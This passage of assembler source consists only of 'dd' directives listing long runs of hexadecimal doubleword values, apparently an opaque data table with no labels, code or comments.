0D4DEA854h, 0FBE0C7B1h, 0FBB6B39Eh, 0E4A9F222h, 0F021D5B0h dd 0B7A34B23h, 6B702E9Dh, 0FBCD8A44h, 4229D11Fh, 597ADC7Eh dd 0D3B64E94h, 0FAFE2A13h, 0C779487Fh, 5E6D8468h, 0F130B764h dd 0D86D38D5h, 0C8828208h, 0B982D4D5h, 911816D7h, 0BE91AE61h dd 85A5E5D2h, 9D912FE8h, 6C4F3003h, 45C07BC9h, 89921BF8h dd 1E8C3203h, 0D2DCD85Bh, 0FD4C67FCh, 87B6BD1Fh, 14E0DDA8h dd 0A8E66907h, 58BB0A3Fh, 71238990h, 0A308321Dh, 0A4A8F9C2h dd 1C7C8946h, 0F173D42Bh, 683139CDh, 0E788E944h, 0D72E4923h dd 0B5A4D82Eh, 364787AEh, 47D0F3FEh, 0D493AC04h, 3149F667h dd 0B76E84DAh, 5D0F911Dh, 1901B9B0h, 0EC1CDECFh, 9062BF68h dd 0D78D5ADCh, 0FC169B44h, 0C56C3B1Eh, 4AC053EBh, 5F0936FDh dd 627A4496h, 0F3E57C19h, 205E41F6h, 29D00F57h, 746B13CCh dd 0D400D77Ch, 4A210860h, 971548B2h, 0C5F2BF32h, 5E6EBB43h dd 388C9F84h, 0EA31BF07h, 1652A4Eh, 82B948C1h, 5A7288CFh dd 2B8599DBh, 0D57306EAh, 0C2879619h, 6546C49Fh, 6C5E165Ch dd 0D0B72354h, 56AFFF56h, 7C9CE695h, 0D9C1C7Fh, 718F7CDEh dd 70E70AFDh, 5A0BC7h, 0E2555A36h, 0F3609F11h, 9DF7A01Ah dd 0D9C31218h, 0AD2D56F6h, 0E963B549h, 9BC65BADh, 0C7F99936h dd 0BD2CE3DAh, 0ED2BC2A7h, 0C3D0BEA3h, 0A4D43A7Eh, 99843DA8h dd 0D22E8609h, 5B0A4726h, 0F72307FCh, 65324732h, 0E9216166h dd 8C39BEC3h, 0A491DBA8h, 66A07DA2h, 0F448F8BAh, 1978B8AEh dd 30EEFA92h, 3942A197h, 1D541B67h, 3D45F47Dh, 0F2890CD9h dd 0B1DD77E6h, 21494C4Ah, 0FA2A97D4h, 3889C9CAh, 0CC9A8054h dd 0D6DA9F0Ch, 0AB76E61Ah, 0BC144283h, 0E4AA15A6h, 0CCC6DDE7h dd 0B036CBF4h, 3A31AD74h, 0B3675812h, 0FE4EABD9h, 83EEF0C6h dd 65CDE04Fh, 9B8CE011h, 12F32BCDh, 43FA6A8h, 14CD1C48h dd 7AB665F3h, 362A0F94h dd 33242539h, 0D461125Ch, 0D9C166AEh, 0F83307C8h, 0E8D94074h dd 0EE7B2A48h, 0C25F1589h, 120DCC90h, 47CBDA0Fh, 1E5440E0h dd 11875386h, 0CF9AC4CCh, 8A92B726h, 47368CC4h, 3F059936h dd 0D89EBFAAh, 0DDB933h, 0D62A620h, 0BFD0061Ah, 53B7D8Dh dd 1555D8EAh, 7EA99C8h, 7098713Ch, 0E870EDFAh, 0F5D843AAh dd 0F5717B5Fh, 2ECB1545h, 3A5541E3h, 0C1B1DC2Ah, 36994C21h dd 0E804AB5Ah, 0B40D3C3Ah, 21EB7EF7h, 0D09AFAD8h, 0D725F444h dd 9097392Ah, 2E5BE859h, 0B74FFF0Fh, 7C9DCA58h, 0CBD8DF31h dd 8819F60Eh, 96118933h, 143F38B9h, 9C017C15h, 442431B0h dd 6EC72AA7h, 9FABF521h, 9FADEDB4h, 7FD5E7A9h, 460FD534h dd 0FCAC479Ah, 0B56A70F0h, 0BD8F3689h, 0B491EA34h, 0B10D77E9h dd 0AE3628F8h, 0C1923D48h, 0CE448071h, 829CB1D8h, 2271D622h dd 2239122Ch, 93DC2733h, 9C7B338Bh, 31132D14h, 0BA9BAA0Bh dd 0C82E37C7h, 0A94F6394h, 471F6971h, 8118290h, 7E257038h dd 8FE724C9h, 93EA0DFFh, 5F33AFC7h, 3C285A11h, 86C81294h dd 55E5BEEh, 1311707Ah, 5F811750h, 36331BE1h, 5D1BF27Ch dd 0B9F7A8E9h, 128DCCC8h, 89DEE597h, 0C59E5D2Ah, 1B15B391h dd 0FDEDA93Ah, 0B2D2E682h, 61A54A65h, 7A25302Dh, 154794Dh dd 1DDB6205h, 5E6A1616h, 45643B3h, 81420973h, 9997EB71h dd 0A83BDFCCh, 1FA8706h, 0A98E766Eh, 0B3F4724Ch, 0B60C7178h dd 0E1D206EFh, 2CD0456Bh, 0F31EA64Fh, 41FCE1B3h, 0C519D635h dd 14B0907Dh, 0EAF3A8CBh, 0FDB044AFh, 0B9A71E91h, 10C5A878h dd 52F09DFBh, 273A639Eh, 148F415Eh, 5F75E20Fh, 19A27102h dd 18AD2FC1h, 2EA02142h, 0D7635E2Dh, 84B318C7h, 9A5DE34Fh dd 4B2830ACh, 0ED87D482h, 1198B355h, 3B01EA94h, 43A98577h dd 0EBB71402h, 0E400CC1Dh, 6BE08C3Bh, 10219DB3h, 7D49ED5Ch dd 0CC5B9917h, 3A3C660h, 0C27BD634h, 255E235Dh, 861AF613h dd 6C770C01h, 0FE2ED6B7h, 47A94676h, 692F06EAh, 3EF61496h dd 993EFB83h, 0FC321D35h, 5B787EDFh, 679F3E16h, 5DBA1EA1h dd 8441DFDCh, 4E57C26h, 0E230C711h, 40E3C7ABh, 9E67C44h dd 0DA894807h, 3BA9CAB4h, 0AAFB8E29h, 0CB37C759h, 0A225DF1Fh dd 6E796B02h, 0AFFFF740h, 0C6D356E0h, 0DFEB70Dh, 7023E83Fh dd 46FC375Dh, 0D2B561B9h, 2B3E5C74h, 0E4A71763h, 0D8437979h dd 761058BCh, 0CCB6A91h, 12876651h, 944D2D30h, 16EEAC3Eh dd 0DCD65DD7h, 71B3D5BFh, 0D3B3680Bh, 468C6C33h, 5221BE2h dd 77D18FF3h, 0A0232F18h, 0F1BFFDA9h, 1DCE7961h, 0C62CF46Ch dd 0D4784C5h, 0DA5EDC16h, 3894547Bh, 1F0AA910h, 39B5376Eh dd 0B4F96C8Ch, 0A40DD7D2h, 8667BD99h, 2AF9EC4Ah, 77054515h dd 4BEFBBEh, 70C7A0CEh, 90F2B327h, 89D45030h, 34E7977Ah dd 7506AEC8h, 0E3C79124h, 5457E039h, 37D6DE90h, 28B368F1h dd 8144C121h, 8DAEB057h, 141F0D55h, 754D49DFh, 4C5ED868h dd 56BE5145h, 72AFCD8Ah, 0ADF6AF80h, 44B81942h, 0CD91C818h dd 0D4865E63h, 25264A2Fh, 1451EC97h, 0FCE48B13h, 3E89BB47h dd 0C89DF482h, 0D5483BE0h, 783E6208h, 24A61DC7h, 0EF563586h dd 5AA47773h, 9339B292h, 6743FB6Ch, 0AC1B9ACh, 7621297Eh dd 93CDDE64h, 2C74B3DAh, 0FE586F1Dh, 20B7236Bh, 5685668Fh dd 4E90074h, 11D664A6h, 79C7B37Eh, 0F2A32CD9h, 82325D77h dd 0D9814455h, 0BD791A61h, 0C506F3E6h, 634BE32Dh, 3780EC0Ah dd 0D968CBE2h, 0CCA1D86Ch, 699B4FC3h, 1AD0D9C0h, 0D64295FEh dd 35747912h, 5D9E6AD7h, 0D27B33CDh, 9518930Eh, 69A65F8Ch dd 2D513812h, 0B7DDD647h, 0D69093CBh, 6E7FC956h, 6ED9890Dh dd 91FB0BABh, 0E3D43EBFh, 8BE38EBEh, 81D38936h, 93BC5F56h dd 393EECA2h, 78D166E2h, 74E52C1Eh, 0D56FD969h, 0D273298h dd 0E144AAA4h, 0B6246CDFh, 40841F38h, 7D9636Eh, 0E5542F1Ch dd 0CD259813h, 11AF355Ah, 52A2E439h, 2D0E3D5Ch, 708ECD6Eh dd 0F4E05FF8h, 3A9800F4h, 6555B22Ch, 765A651Dh, 0B07FB732h dd 34B1872Ch, 0F59F723Ah, 0C9C8CECEh, 0A235BE37h, 5A94B73Bh dd 651DC5A2h, 0CF89A3F0h, 6DCC4C0Ah, 0CE6C39ECh, 628DDCD1h dd 79A20E82h, 0AA0129FDh, 8E9E15A7h, 0D61DCF3Fh, 0CA954A3Fh dd 0A78BCA72h, 71DF2C77h, 557780C5h, 6A8272FDh, 3102DA91h dd 25897D3Eh, 5D1014Fh, 61CB065Bh, 0E06DDC4Fh, 0A7C4BDF7h dd 0A2A22D4Fh, 58EC3308h, 460056B8h, 2FB25C86h, 65F49943h dd 0A34BA42Ah, 25183279h, 12CB7BE8h, 94D55CF7h, 30E9610h dd 0F4366B76h, 7408C6BEh, 10510BA8h, 3338515Ah, 908F0C53h dd 25527A96h, 7F64EF3Ch, 0F4C8AD8Eh, 77DD47A5h, 9E05308Eh dd 0A24B32A7h, 7FE74286h, 535CA7F7h, 4F614CFCh, 0E02E02F5h dd 0F43D7E6Dh, 8E16E66Ah, 0C08B261Ah, 0B001C1FDh, 1F756B00h dd 0BC3BC606h, 5AAF5E2Ah, 6426867Ch, 0F1FD550Dh, 13C3EBA4h dd 0B53D4350h, 0C6DF7B08h, 3F1FD469h, 4B2568Eh, 0B618483Dh dd 57727B07h, 80D69883h, 16AF578Ch, 7C3E5ADDh, 0DAFDE975h dd 0C4B29AA4h, 5A9E7D63h, 0A931E00Fh, 0DD76D985h, 0FBB81177h dd 0F7D6FCF9h, 9E9D94A8h, 0CD8B5A6Ah, 55AAAFE0h, 756FC831h dd 8E25EA3h, 0A40B3B60h, 0F05CB4BDh, 22F258AFh, 2CF83B56h dd 0BA6A3422h, 34FA9D10h, 847B23CCh, 4470FBECh, 6FF22480h dd 0DF0027Fh, 0E574934Eh, 26125DC8h, 5FC7843Bh, 0C4FCED0Eh dd 410FDF23h, 8234994Ch, 0A5C527BBh, 0D637B522h, 0E7555B3Eh dd 0DE59F233h, 0EDD9B884h, 20A6DE52h, 0C9FD0E3Dh, 131E4EA0h dd 0A7D7BB21h, 6FFCB176h, 0DDDA3B2Fh, 4FA8EA2Ah, 5961B38Dh dd 4999F831h, 2CE4211Bh, 97CDC807h, 8A116DEDh, 343AE359h dd 20CE72FFh, 19518007h, 3B33420Eh, 52979DFEh, 0C4DA814Ch dd 8C481C80h, 0B96734E1h, 60004A58h, 48D2F1CFh, 901422D5h dd 23C5AFB2h, 0AFB0B2E3h, 19739A7h, 0D0ACBF8h, 291A14F0h dd 260DB6AFh, 0CD1F4A80h, 5208AEEEh, 0F7FAC60Ah, 81241184h dd 0F39E3EFDh, 24E06EDCh, 9F2A37EBh, 5C75C09Eh, 8157940Bh dd 7F6EB036h, 0ABF862C2h, 0D263027Eh, 2506332Fh, 0CB004E89h dd 438A7EC3h, 0E93A2B88h, 6442F809h, 422F9BB6h, 0B27D6C97h dd 0D4A5B78Ah, 3A18778Eh, 2913B0D6h, 0E4AFACA5h, 437CC63Eh dd 8C23D843h, 10CE174Dh, 24F65A65h, 0C45C8E97h, 0D7705BB6h dd 6B891B8Bh, 3E4CDACBh, 0F8190269h, 0CA982F0Ch, 0BC68D1B1h dd 976FC0E5h, 9AACE7E4h, 0E6B99882h, 179BF7F8h, 7405CDA2h dd 4169E11Fh, 3981F072h, 49B0D882h, 17295A43h, 0FEA9BDC8h dd 40384CDAh, 9DB9E0E9h, 767A00E5h, 0A1579C52h, 965A98BFh dd 0D40229A2h, 0D793E5A8h, 0C63D89E7h, 0C76DA34Fh, 22C33D77h dd 68DB6A5Bh, 7F7FF9FCh, 6C643D4h, 0EA2BD4E0h, 87CCAF09h dd 728ADAE8h, 0E89440B7h, 0F75C0118h, 0E18D18FEh, 0D5BBD925h dd 84171752h, 0BF22C16Fh, 0FB78D0ACh, 0C2C68262h, 43740D5h dd 4B6313A1h, 0AFC0758Dh, 4F0EE57Bh, 9046BEF7h, 8F74B6ECh dd 7C9466FEh, 0BB48DBCh, 48304049h, 897239CBh, 5E64CBD9h dd 0C2A9F5D0h, 7D272B4Ah, 0B0D42199h, 0C35A85E4h, 0D8400689h dd 8EF433F6h, 95DE7CA2h, 0A944402h, 7DABBB6h, 0F9E874B4h dd 73A47F0Bh, 0D6B4AF9h, 7A7E54F6h, 0BCA6C500h, 7DD887CBh dd 0E6CABB4Ah, 4C60C339h, 7C8107ABh, 21ABEC3Dh, 692984D7h dd 98E42628h, 7F05A4CBh dd 0C59A797h, 4D6C84B9h, 84DF852Dh, 49E78BAh, 96E74F5Dh dd 4CD1DEEDh, 2CDF171Dh, 8A044822h, 74E3CC19h, 8B478233h dd 0BEF2C412h, 0D4C6152Ah, 0AC0BB947h, 13396E92h, 938A7509h dd 9EC1A547h, 373564ABh, 4BB859DEh, 14846A49h, 4A1709B3h dd 0EEFE2C3Ch, 74C765DEh, 0C6BD7B12h, 0F6C10C4Dh, 353355Eh dd 0ECB9B6C8h, 0F854ECh, 0F5243A01h, 0E8DD7AB5h, 0E310BEABh dd 0D6B96953h, 1DB50D60h, 7CD856Ah, 79F8B3AAh, 4463F022h dd 84A9C8D5h, 240D0CBCh, 59526CFAh, 0D31146D4h, 0F6E14EF2h dd 0B91CB8F9h, 7A36CA75h, 0DA4C7F68h, 32B9D5ECh, 0FA480139h dd 7E43B283h, 0FD85234h, 6B340B4h, 0A6F2B0DEh, 9FB0F486h dd 0A18D8DC0h, 0BA3D16A9h, 16937CFCh, 3810D5C2h, 0E53C29C2h dd 4315849Ch, 8F9D6673h, 0EAEE866Ah, 0C72AC2ACh, 0ACC5BBF6h dd 85547DC5h, 0E87B69D1h, 7EF598A9h, 81F7C3C9h, 7246A670h dd 9A9E6F95h, 1CD98023h, 467BD7D9h, 606FE263h, 7186CF2Dh dd 3EE40DC2h, 4A585C4Ch, 1E09883Fh, 0FC72E316h, 1C681858h dd 2332C91Bh, 3C8FA6BEh, 0F48EBB46h, 0B66652BDh, 445AE2DCh dd 0D0827867h, 7CAF148Ah, 3B179C18h, 0C47DF0DEh, 5D9E8E65h dd 0A292A63Ah, 0B5A3142Ah, 0E20F8E15h, 1DC15D59h, 2E7A5A9Ch dd 3DAF5546h, 87C284FEh, 94A052A8h, 0DCFA409h, 8F4595E2h dd 355CB4AAh, 0D9197CDh, 77D76390h, 27FA2726h, 0CAC875DCh dd 73F7A9D5h, 9BFD5542h, 0BF80E049h, 3B30D2ECh, 0B52C2E38h dd 0D4555642h, 3F02E303h, 0AE010060h, 0FBCF4830h, 0A5C2B815h dd 5DFA41D9h, 59180AB8h, 0C295C426h, 83214042h, 0A67D9A39h dd 3E0D12C7h, 0D23E613Ch, 0C921574h, 0E4874AA9h, 0BAED200Dh dd 0DB273AB0h, 0EBE355B6h, 0B7A8E437h, 2BD32FE5h, 7C1D4AD6h dd 0DC3BD42Dh, 8062839h, 0E7FBBEC0h, 0E14CB9E5h, 0C2A92174h dd 0B2DCC27Ch, 415EF070h, 39324316h, 6BFEBFB3h, 1D332382h dd 25DFA999h, 3399D231h, 0DCCBE883h, 0D63143AAh, 0A657514h dd 0C69715E1h, 732FF1DCh, 8B09437Eh, 10B620B7h, 4FD56644h dd 0A7D0AB07h, 34E49h, 49702F16h, 24425E44h, 854B2306h dd 71EB9789h, 7B60886Ch, 0EDDB457Ah, 10D47318h, 7B354ABEh dd 9B6FB54Ch, 4BC5D4C3h, 0DFA79300h, 4BC098C3h, 13AF662Eh dd 0A62D951Eh, 0C6D657E6h, 8F1A384Eh, 0BB0067E8h, 0C6DBADC8h dd 505B54A6h, 0DB22DE75h, 600AC2F7h, 0C80A36F9h, 1410F15Ch dd 6F55BF8Eh, 383EF45Fh, 1312C345h, 0AB890F74h, 0ACE3080Eh dd 40AF6B46h, 0A912C841h, 0BD133B8Ch, 70778C1Dh, 8AEFA864h dd 0CE824A2Ah, 9B10D676h, 0BB078E1Fh, 0D2CC50D5h, 88FFC986h dd 21AD0753h, 0D2C42204h, 0A5CF0C97h, 4CFC9B79h, 9E422111h dd 608FD10Fh, 41B0DC75h, 4C6A5D0Ah, 8DDCF366h, 81B92F2Dh dd 73D755F6h, 0FDE2C5FFh, 0E203EEF1h, 247A19CFh, 5F442FFFh dd 0B3737653h, 0D83E91C9h, 0D93A85F5h, 0B2417765h, 0DF2E90A2h dd 0EB729B3Ch, 0CD862203h, 0F60AC42Ah, 0D0DA98C7h, 6EE1AFC7h dd 79D3F4E6h, 9A9E3BE0h, 0FC260C53h, 0CE5C0D02h, 0CB4C06D8h dd 0DB916985h, 6D980CADh, 8F726E37h, 408D636Bh, 6361F851h dd 1D919541h, 1FAB92CCh, 4A5CD25Bh, 8918FDF3h, 8FB79513h dd 0C005F915h, 0DB1E305Ch, 0E82093F8h, 7F7E52A6h, 411BE72h dd 735E313Ch, 97E03849h, 39BABCF5h, 0E26C145Eh, 630E7BBEh dd 70FB30FAh, 9F86DEFBh, 0EB45CADEh, 0AA10C4CCh, 0B0F1D1E2h dd 20657B09h, 0E83C28B4h, 0AA9B36Dh, 9D7EA4A1h, 0A57D3913h dd 0E1D33E61h, 4C59030Ch, 0F7EF1A3Ah, 376F6297h, 372B53C7h dd 23CC313Eh, 0E967012Eh, 3E469875h, 14D2B196h, 0C22D68D8h dd 0CDB53A30h, 3AADB772h, 15B693EEh, 494FE911h, 4ED1EF97h dd 2329A5D2h, 3A05CA90h, 424882A4h, 2ED5F246h, 0E3E0E379h dd 86FB3F79h, 8EE8FC99h, 2416D6EBh, 25A7DCD0h, 1BA69953h dd 2CC5BE20h, 54112120h, 0A6AA5692h, 0B9349DE8h, 21B2C498h dd 0B6CD01A5h, 0DE1CC5D6h, 3D774F17h, 1C51C5C3h, 0EE2F894Bh dd 3E695825h, 32186759h, 631D7BE1h, 15C1A4C6h, 0AA81E476h dd 0D5A6A1A6h, 34825FB9h, 3F6E7140h, 8BB96F5Bh, 0C4DFBA7Fh dd 5053DAF4h, 11351695h, 29D2A940h, 0DEB5084Ah, 9B0A57B0h dd 4264B6E5h, 12386B6Ah, 1FB6FA5h, 74B0C85Eh, 2F243FDEh dd 31C534F0h, 0BCD08BEBh, 292E7340h, 0CA939EFCh, 7D052170h dd 0D3FDE151h, 0A7BCA6A3h, 8AC4E6Ch, 0F1C2F4B0h, 0BB1A7DBEh dd 0FEA432AEh, 7CA21CF1h, 3E5F3C34h, 7D4669A0h, 5F7FC7E6h dd 4FDECC16h, 0EF578879h, 861F048Dh, 0C2CD4261h, 11BA4339h dd 0BE07A3FEh, 69E1C679h, 0CE6C809Bh, 69E1BA1Eh, 2C966BEDh dd 2EB8AB2Fh, 60331ABDh, 2004832h, 84A7415Bh, 9B466946h dd 0AEB68FFCh, 79C6F44Ch, 46D25157h, 96E1929Dh, 0D32947F1h dd 0C85858EFh, 6601EDC2h, 2832D9CBh, 8BEE78B1h, 73222h dd 2EF9B11Fh, 9972B3A2h, 0E7FEAABCh, 0E6D6A674h, 872C328h dd 5F174E62h, 408BB4Dh, 27408E96h, 700B0DFAh, 78B74788h dd 9C8A20A6h, 0E246F1EBh, 0BD1AB8E3h, 0A72B901Dh, 0BE86C021h dd 0A217C022h, 594B9740h, 955076BCh, 888C36A6h, 0DF9D66FFh dd 1616AF86h, 0B7D7DE66h, 0F9EF4329h, 98DEE969h, 0D65E7EDAh dd 149E165Fh, 0A66BCC99h, 0B4BD201Ch, 8F9D88D3h, 4D6C0841h dd 0A40D239Ch, 9816715Ah, 70364F08h, 3E0C8D34h, 0C462BB41h dd 2A8C5E4Ah, 0A41860B0h, 695F92C4h, 7469BD7Ch, 605F1F75h dd 18E63910h, 0B4378C00h, 32D94DC0h, 2AE8AA28h, 0E40A88E5h dd 0D61E1CADh, 611187AAh, 6B95544Fh, 0C534808h, 65517636h dd 0F0D1329Ah, 309CD83Ah, 441C46F5h, 0AD9F27A7h, 9BE750F4h dd 0FA1EA2C5h, 5ECFD85Bh, 458CA951h, 58809D79h, 84CEC951h dd 5D86BFCFh, 35B0CE9Fh, 0D3A6A9E9h, 0D9DF735Eh, 0ACBC5253h dd 556C6F2h, 0CD4BC989h, 7D857901h, 38A8B14Ch, 4A1972E5h dd 8167E5B3h, 649D6FBCh, 30A97EB5h, 0A7561D40h, 0A2190065h dd 19F9EE76h, 0AA56808Ah, 280D60E9h, 9763F1F1h, 3461EFC5h dd 9848469Ch, 0A84A98C3h, 3CC18996h, 1E966B38h, 0E9499849h dd 0F1CA057Ch, 1A92DE16h, 0EA21DE99h, 0B63FDF52h, 3E745327h dd 21D1AB61h, 65C7E46Dh, 320AB8E9h, 0C053CE47h, 0A39F31E1h dd 65B24D58h, 5D0251E0h, 7C14CF1Dh, 6B2E7C9Bh, 7E8A3E3Ch dd 3AE4FFC8h, 0BC54D690h, 1AD11722h, 5D14BD37h, 0C75BC4DFh dd 11B8AFA4h, 0D01DF095h, 0A577874Fh, 8A2C6634h, 9DAAC8BDh dd 415B659Ch, 1D895CF3h, 0DC3EA0A7h, 0C45788D1h, 0B495BE88h dd 0B4DFBF8Fh, 12E62B1Fh, 0C7A7DE6Fh, 9EC496Fh, 0D23F55A5h dd 0D4644C72h, 4A8687A4h, 0C0825DF8h, 62F2B2E0h, 50E2EF7Fh dd 40855EF7h, 54215F1h, 66B22F43h, 839ADCDFh, 0CB8F997Eh dd 0A93E42A4h, 0B4B45E10h, 9BDA61F8h, 0DAF1D4B3h, 0BDB2FA87h dd 0C2F2393Bh, 0CC21923Eh, 568F8CB3h, 0ED8E3CF1h, 0E0BA9E62h dd 63132148h, 314683Eh, 9C0302E8h, 4E183771h, 1C94E660h dd 0D1728132h, 8D9FD3Dh, 3A539FC0h, 697C65D3h, 891FB681h dd 0E47176ABh, 0AA3A6B39h, 0D94CB155h, 25E0B495h, 864450CEh dd 0F4179134h, 0D818D621h, 2AB312A9h, 0B6FD87DCh, 6CA0F1CAh dd 68405E4Fh, 33729E18h, 6EFA6582h, 0E9E5FE00h, 8549B522h dd 879A32CBh, 0D4B8FF76h, 0CDB04F04h, 45A206A1h, 6D65690h dd 0F4EBE53Ch, 4592C8FBh dd 8FC66DA6h, 711ED027h, 0FE582D78h, 40265190h, 44166E84h dd 0C6D11A5Fh, 0B501FC4Ah, 5CC6F8E1h, 0FD918F80h, 65E6330Fh dd 6BC443FCh, 28B3A603h, 0C4FEFB3Bh, 855846h, 0BF35486Bh dd 440801BFh, 4C67FF99h, 0E2A29F35h, 0FE65CB76h, 6DE2126Ch dd 355783D0h, 8DFC9174h, 5C0B3F69h, 0E7E429Ch, 7AD8EAB9h dd 88A3AE24h, 590297CEh, 89CBA7F8h, 0B1722073h, 6EEA5745h dd 3FFE4494h, 3C2BFD51h, 0EF12E353h, 1686C64Ah, 962688AAh dd 92634E60h, 1C613821h, 7F22B89Eh, 645C5CC9h, 0FD598567h dd 0BF228F55h, 0FA33B872h, 72063EC3h, 53A30A5h, 0AFBBAF83h dd 0F8D96A54h, 0A8610B86h, 0CDFE5789h, 0F2FB97D9h, 354E4AE7h dd 38C6F706h, 7D01C647h, 9CA5CE39h, 0B2BD2758h, 5F7E07FFh dd 342DA2C6h, 15EE64B9h, 0C6C43848h, 0D9A6FDFFh, 45D46270h dd 874446E3h, 0FD763205h, 0BE96AFD7h, 0A0C1AD36h, 0B42DEDBCh dd 5184DA25h, 10257B68h, 0DB16A047h, 0E63B992Bh, 0F3AB800Dh dd 0FEEBD6FDh, 0B96EB342h, 10D8B27Eh, 48E5FE10h, 0FC909F78h dd 4F880BF8h, 2D49117Ah, 348E4004h, 4A07CCB7h, 26DD9E0h dd 0F3E7D961h, 33BEFD63h, 5FE01DE4h, 0D79B9E5Ch, 0D1635240h dd 9B51B5FCh, 6BE25B3Eh, 80C75998h, 38956CF3h, 596CD42Bh dd 1B2B2C32h, 8BD04771h, 6B60C25Bh, 29540896h, 88D6C92Ch dd 8073FDABh, 0A6ED4EEEh, 5FF07692h, 144A6065h, 8B186727h dd 2E023C1Dh, 0B9C2D05Fh, 29C1EA5Fh, 0E73A7467h, 508CF827h dd 0E08C27A3h, 3467EC65h, 15985A31h, 0E3A01BA0h, 3EBEE5A8h dd 1F33E48Ch, 0CCC26639h, 40867A82h, 6DE11D19h, 0AF0F438Dh dd 48A6C2C5h, 0C76B1625h, 98BF9907h, 8ACFE916h, 0DC7E3848h dd 0C2E4B847h, 4670F54Ah, 75EC905Ah, 0A0883096h, 41F3F44Dh dd 6A7C3520h, 37820C76h, 91637002h, 74F3F716h, 9ED81EBBh dd 9D0B92E2h, 0DC817BDBh, 0B64EF16Ch, 147F3784h, 75F4F8CEh dd 53532CCAh, 67A486A1h, 7AEBAA91h, 0CD9D7E6Fh, 0D8E9E897h dd 0EF4BC032h, 15CDB4E3h, 14AA5069h, 907BDC35h, 7F70900h dd 777872CFh, 674A0D38h, 612DD1E2h, 0ABA5EB83h, 8D4879F8h dd 0C6E8C198h, 48F5B0DDh, 0ADA711A3h, 0A0D15911h, 0E2666D7h dd 0FE8B6F8Ch, 0FC3E0A90h, 14156BFEh, 0F4E2B634h, 7F41B8B0h dd 0A2C92EC5h, 0ED7E161Ah, 0B5A1FBCDh, 5AE48534h, 0C4368185h dd 9193BDBBh, 57DB06B7h, 0F874BE1h, 11BC6FA1h, 1364A09Ch dd 29FA1C5Dh, 0DF62C2C3h, 1B8F70B2h, 0EF28FEAAh, 85E4E4A1h dd 99953565h, 967A8080h, 1FA51A9Fh, 5B1DA623h, 0F52BA673h dd 24578834h, 5648DC5Eh, 90D2B180h, 0ACA27D6Ch, 4FD68E09h dd 2BFDD67Fh, 0BB36E2BEh, 22A2E52Dh, 2DE17DB9h, 5E9C18B2h dd 3E6FBEE2h, 0E6CFC06Fh, 6987B5EDh, 27D191BDh, 18F47D56h dd 0C78908E1h, 9BF37B61h, 0B33D1083h, 164A28C9h, 337107E3h dd 1A37BE35h, 0BFCB6F8Ch, 0A0115F8h, 8DB9A39Bh, 7E71A369h dd 5F2B3B3Dh, 269F8ADAh, 0E7BA6B26h, 0D191C16Dh, 38C824D4h dd 508F1684h, 0D2637C17h, 6B0ADF4Fh, 0A601266h, 1C3DD242h dd 0ED29A8F8h, 0C9B4957h, 92BB3904h, 62B6418Eh, 6BB57800h dd 93E3EE8Ch, 9843E05Eh, 0C9AA7E07h, 72D94DE9h, 0D1ACD32Eh dd 0AAC0FB3Dh, 2FD0EEFBh, 0DF925B19h, 6DC11B03h, 0D7F32CC6h dd 81B6254Fh, 4DC0675Ah, 0FC9F36C7h, 51571C62h, 441B3EF9h dd 4F5796Eh, 0EDCC6EB0h, 5B01507Eh, 0E8F43C12h, 47D2E3h dd 0E907C3F8h, 11C95D05h, 40B33281h, 0C49FCA33h, 794DDE2Bh dd 10D0F44Bh, 0D584DE95h, 0E3837E96h, 0CCA1370Ch, 6D8C1C58h dd 0FE91437Dh, 18A5D835h, 0CAD99FD9h, 27CFDBEDh, 0D8F9FFFAh dd 0F0FE2F43h, 6789B67Ah, 224F37A6h, 65C16D84h, 0AF82E55Eh dd 0E1ED8EE8h, 925796DBh, 0E6D095F0h, 6970D6DEh, 210771D4h dd 0D609C9h, 0FE165C38h, 809C976Ah, 636F2CA4h, 0F7A1B43Ah dd 0A67DA2EDh, 8865E30Bh, 0ADDAC8B5h, 21613DDAh, 3832F219h dd 56CA71F9h, 0FB101152h, 0C0192AEEh, 95BB2C96h, 9C308835h dd 5B708949h, 29CAB5A4h, 49470CAAh, 0FEE8670Ah, 5ADC77C5h dd 3ED5A626h, 0BC114560h, 0AF69E126h, 3A986A5Ah, 0C77226C0h dd 34F06801h, 500A900Fh, 2881B5E3h, 36AE0D48h, 9C84AC71h dd 65674C97h, 3E132E9Dh, 4829F6ACh, 0CBE9A949h, 0D2207530h dd 8360D8A9h, 4AE368FCh, 5DACA510h, 0A62C611Eh, 0F8EDBBA8h dd 8E4E1358h, 0BCFA37Ah, 0E9FE62C5h, 0D531FF26h, 0C0D2C67Ah dd 0F25D5E67h, 7F69CAF7h, 0EEFB0050h, 0E2E5CBC8h, 0A49F6E96h dd 32609CDAh, 5B23E080h, 0BF076CB6h, 0B6486848h, 0A1FF815Ch dd 6D1823B1h, 12DCB38Eh, 22BF4E20h, 0DD789D54h, 0D455A33h dd 4D4F177Fh, 0B7D13CBEh, 39011F8Bh, 0B13B7032h, 2E2E316Bh dd 0CBBFC7C2h, 3604A81Ah, 0FEBFBD4Ch, 0BCCE4DAh, 0D9F6D452h dd 0ED93B440h, 6BE4EBA9h, 0E4115507h, 0C5CD87E1h, 0FFAD1E91h dd 0B1DA6781h, 94708329h, 1DAF4EB3h, 8DDF4B26h, 6E52F0D7h dd 0B4A02264h, 31D29F37h, 4494A3EBh, 59248772h, 6A7CC74Ah dd 9AA21229h, 0AA9F363h, 20175702h, 0FA48B3DCh, 287F4EEFh dd 0A26A10ABh, 83A3D024h, 86FFE8CCh, 5910C8F5h, 0CC3E0B04h dd 0DE00EE3Fh, 0FC8E2F2Fh, 0F52E0A51h, 857B40F8h, 0EBBED6A3h dd 0A55A9DB0h, 0C4C12035h, 2BB8C4BFh, 478D30Ch, 2CD3C4E5h dd 1DC0C2EDh, 0E17F858h, 0E3472161h, 0BE4A853Dh, 241A91F2h dd 98B9B2DEh, 203AD0A0h, 32AE8BB3h, 2F4884ACh, 0F5F6097Ah dd 16EA4A49h, 1D41650Eh, 0E7CA0315h, 0D2119DBFh, 0EE384117h dd 1F486026h, 4FB10C2Ch, 94DE92DDh, 545EF727h, 28984E39h dd 0C4245E69h, 78A6E741h, 8F3EAB87h, 6296E72Bh, 43F2A6DDh dd 9CF24042h, 32DA99DCh, 6B753FF7h, 5E6D5012h, 2EEE0B29h dd 0A7E85DD8h, 0D56FE2ECh, 481D4A72h, 10BAB81Dh, 4F9C9A2h dd 0DAED64B8h, 1C0B444Ch, 33517441h, 1512D07Dh, 88EC8D45h dd 0E4185CD5h, 0CCFA9B44h, 2591CB06h, 5AD3A280h, 63B0EEDBh dd 0D10732A2h, 13EA82FAh, 41489F77h, 7ADD864Eh, 0E4C994D8h dd 7646A6C5h, 0CCB495B4h, 797C7E85h, 0A602D765h, 0F6FE946Ch 